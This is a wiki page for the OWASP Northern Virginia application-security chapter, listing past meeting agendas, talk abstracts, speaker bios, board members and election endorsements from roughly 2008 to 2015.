Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]]

''John Steven, Cigital'': '''Moving Beyond Top N Lists'''

Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]]

<br> Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real.

John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University.

----

=== January 2009 ===

To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project.

''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI'''

Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices.

Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes & Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI.

Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]]

''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS'''

The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies.

Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard.

Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]]

----

=== November 2008 ===

For our November 2008 meeting, we had two great presentations on software assurance and security testing.

''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance'''

Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed.

Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]

''Paco Hope, Cigital'': '''The Web Security Testing Cookbook'''

The Web Security Testing Cookbook (O'Reilly & Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort.

Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]]

Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]

----

=== October 2008 ===

For our October 2008 meeting, we had two fascinating talks relating to forensics.

''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats'''

Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today.

Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats]

''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data'''

Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities.

Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data]

=== History ===

The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship.

==== Chapter Groups ====

Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in:

*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling]
*[http://groups.google.com/group/novaowasp_mobile Mobile]

=== OWASP NoVa Members On Twitter ===

Mike McCabe http://twitter.com/mccabe615

John Steven http://twitter.com/m1splacedsoul

Jack Mannino http://twitter.com/jack_mannino

Ben Tomhave http://twitter.com/falconsview

Ken Johnson http://twitter.com/cktricky

Mike Smith http://twitter.com/rybolov

Trevor Hawthorn http://twitter.com/packetwerks

Jeremy Long http://twitter.com/ctxt

Ari Elias-Bachrach http://twitter.com/angelofsecurity

Venkat Sundaram http://twitter.com/Vnk3889

==== Knowledge ====

The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as:

*Threat Modeling
*[[Code Review and Static Analysis with tools]]
*Penetration Testing and Dynamic Analysis tools
*Monitoring/Dynamic patching (WAFs)

Certain projects our members are involved in cross-cut these activities, providing value throughout. They include:

*ASVS

=== Static Analysis Curriculum ===

*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].

The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter].

[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]]

'''Contacts'''<br> Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader.

<br>

=== Flash Talk Resources ===

Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] <br> [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information <br> Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] <br>

__NOTOC__ <headertabs></headertabs>

<paypal>Northern Virginia</paypal>

[[Category:OWASP Chapter]]
[[Category:United States]]
[[Category:Virginia]]
[[Category:Washington,_DC]]

Virginia

2017-02-09T18:16:13Z

Michael McCabe:

==== About ====

[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. OWASP Northern Virginia has almost 1000 members with a wide range of experience and backgrounds. We are also one of the two hosts with OWASP DC, hosting the 2016 OWASP AppSec USA Conference in Washington, DC. We'll be looking for members to help volunteer during the next few months.

We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules.

The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics.

{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.

=== Chapter Board ===
Previously having had a Chapter Leader, then a Chapter "Program Committee", the chapter is now run by a full board:

* Abdullah Munawar - Board Chair
* Michael McCabe
* Patrick Cooley
* Akshay Sivananda
* Sean Poris
* Ben Pick

Board member responsibilities include:

<pre style="white-space: pre-wrap;"> * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics
* Recruiting OWASP membership
* Driving OWASP NoVA Chapter attendance and involvement
* Deferring to, facilitating, and supporting the activities and projects of chapter membership
* Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions
* Scouting, clearing, and scheduling chapter meeting venues and catering
* Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations
* Collecting and auditing use of chapter funds
* Voting on chapter matters
</pre>
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}

You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter.

=== 2015 Chapter Election Candidates ===
*Mike McCabe - Board Chair
**OWASP Membership ID: 020000901
**Endorsement - Jack Mannino, Current Board Chair
**Full Disclosure: Mike reports directly to me at our day job.
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.
*Akshay Sivananda
**OWASP Membership ID: 020000050
**Endorsement - Ping Ning, Chapter Member
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.
*Abdullah Munawar
**OWASP Membership ID: 020000037
**Endorsement - Jon Callahan, Chapter Member
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been.

=== Schedule ===

Meetings are (generally) held the first Thursday of the month.

Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.

== Next Meeting ==

We'll post all meetings on the Meetup page below.

We can also be contacted through the comment or messages systems on Meetup.

For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].

== Past meetings ==

===September 2014===
'''Date/Time:''' September 4th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]

'''AGENDA:'''
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.

'''Presentation Title:'''
The World of Ruby on Rails Security

'''Abstract:'''
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.

'''Speaker Bio:'''
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.

----

===July 2014===
'''Date/Time:''' July 10th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]

'''AGENDA:'''
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!

'''Presentation Title:'''
OAuth 1.0 Authorization and Security

'''Abstract:'''
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.

'''Speaker Bio:'''
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.

----

===February 2013===
'''Date/Time:''' February 7th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]

'''AGENDA:'''
* News / Updates
* Talk: Jeffrey Walton - "Securing Wireless Channels in the Mobile Space", [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]
* Firetalks!

'''Presentation Title:'''
Securing Wireless Channels in the Mobile Space

'''Abstract:'''
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.

'''Speaker Bio:'''
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).

'''Downloads:'''
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]

----

===January 2013===
'''Date/Time:''' January 10th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]

'''AGENDA:'''
* News / Updates
* Upcoming chapter elections and 2013 plans
* Talk: "Automating (Some) Android Security Testing"
* Firetalks!

'''Presentation Title:'''
Automating (Some) Android Security Testing

'''Abstract:'''
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).

'''Speaker Bio:'''
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]

----

===October 2012===
'''Date/Time:''' October 4th, 2012 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - "Benchmarking Web Application Scanners for YOUR Organization", [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]
* Firetalks!

'''Presentation Title:'''
Benchmarking Web Application Scanners for YOUR Organization

'''Abstract:'''
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.

'''Speaker Bio:'''
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.

----

=== July 2012 ===
'''Date/Time:''' July 12th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - "Password Storage Security"
* Firetalks!

'''Presentation Title:'''
"Password Storage Security" [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]

'''Abstract:'''
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix.

To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]

For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th ("Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!"): [https://www.coursera.org/course/crypto|Crypto Course]

'''Speaker Bio:'''

See [https://www.owasp.org/index.php/John_Steven| John Steven Bio]

----

=== June 2012 ===
'''Date/Time:''' June 7th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: Ken Johnson (LivingSocial) - "AppSec, Ritalin, and Failing Fast"
* Firetalks!

'''Presentation Title:'''
"AppSec, Ritalin, and Failing Fast" [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation]

'''Abstract:'''
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:
* Developing technical solutions to solving difficult challenges
* Remaining proactive with an increased workload
* What it means to innovate

'''Speaker Bio:'''

Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 & 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.

----

=== May 2012 ===
'''Date/Time:''' May 3rd, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* "Chill Out" conversations (formal talked pushed back due to logistical issues)

----

=== April 2012 ===
'''Date/Time:''' April 16th, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org

'''AGENDA:'''
* News / Updates
* Talk: "Malicious Code Detection or BRIC Breaking Through Static Analysis" by Masha Khainson (Cigital)
* Firetalks!
* ISSA NoVA Social @Champps! :)

'''Presentation Title:''' "Malicious Code Detection or BRIC Breaking Through Static Analysis"

'''Abstract:'''
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.

'''Bio'''
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.

Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.

Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]

----

=== November 2011 ===
'''Date/Time:''' November 3rd, 2011 @ 6pm

'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031

'''AGENDA:'''
# News / Updates
# Talk: "Lessons Learned from the SQL Injection Challenge" by Ryan Barnett (Trustwave SpiderLabs)
# Firetalks! :)

'''Presentation Title:''' "Lessons Learned from the SQL Injection Challenge"

'''Abstract:'''
How effective are blacklist filters vs. SQL Injection attacks? What is the failure rate vs. automated scanning or manual testing? Are there any "Time-to-Bypass" metrics? In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community "SQL Injection Challenge" to test the effectiveness of the OWASP ModSecurity Core Rule Set protections. This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.

'''Speaker Bio:'''
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache".

----

=== October 2011 ===
'''Date/Time:''' October 6th, 2011 @ 6pm

'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166

'''AGENDA:'''
* News / Updates
* AppSec USA 2011 Recap
* Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks "OWASP Top 10 Mobile Risks"]
* Firetalks! :)

=== September 2011 ===

The September meeting was cancelled due to inclement weather (flash flooding).

----

=== August 2011 ===

We held a "social" event at Sweetwater Tavern in Sterling, VA.

----

=== July 2011 ===

'''Date/Time:''' July 7th, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166<br> '''Food Sponsor:'''<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: iGoat - Ken Van Wyk

----

=== June 2011 ===

'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)<br> '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190<br> '''Food Sponsor:''' The College Board<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 "Insecure Direct Object References"]
* College Board Speaker: "Attack-in-Depth: Exploits of the OWASP Top Ten in Action"
* Firetalks! :)
- Jack Mannino: "Android Security 101"
- Others!

----

=== May 2011 ===

'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190<br> '''Food Sponsor:''' Akamai<br> '''AGENDA:'''

* News / Updates
* 2011 Election (voice vote on the entire slate)
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 "Broken Authentication and Session Management"]
* Speaker: Steve Witmer on A3 from the "breakers" perspective
* Speaker: ??? on A3 from the "fixers/defenders" perspective
* Firetalks! :)
* '''Update:''' All election candidates were elected by voice vote.
* Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM '11 Chapter Board Election Material]

----

=== April 2011 ===

'''Date/Time:''' April 7, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 <br> '''Food Sponsor:''' [https://www.cigital.com Cigital]<br> '''AGENDA:'''

* News / Updates
* 2011 Election
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 "Cross-Site Scripting (XSS)"]
* Preso:"Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform" by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])
* Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])
* Preso:"Growing the secure application developer community through expanded curricula" by Tony Gottlieb
* FireTalks (bring it!)

----

=== March 2011 ===

'''Date/Time:''' March 3, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 <br> '''AGENDA:'''

* News / Updates
* [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review
* Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 "Injection"]
* Briefing: Training/Preso Plan for the Year

----

=== February 2011 ===

'''Date/Time:''' February 3, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190<br> '''AGENDA:'''

* News / Updates
* Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]
* Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2
* Briefing: Training/Preso Plan for the Year

----

=== December 2010 ===

'''Date/Time:''' December 2, 2010 @ 6pm<br> '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA<br> '''AGENDA:'''

* 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)
* Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)
* Social / Networking (BYOB!)

----

=== November 2010 ===

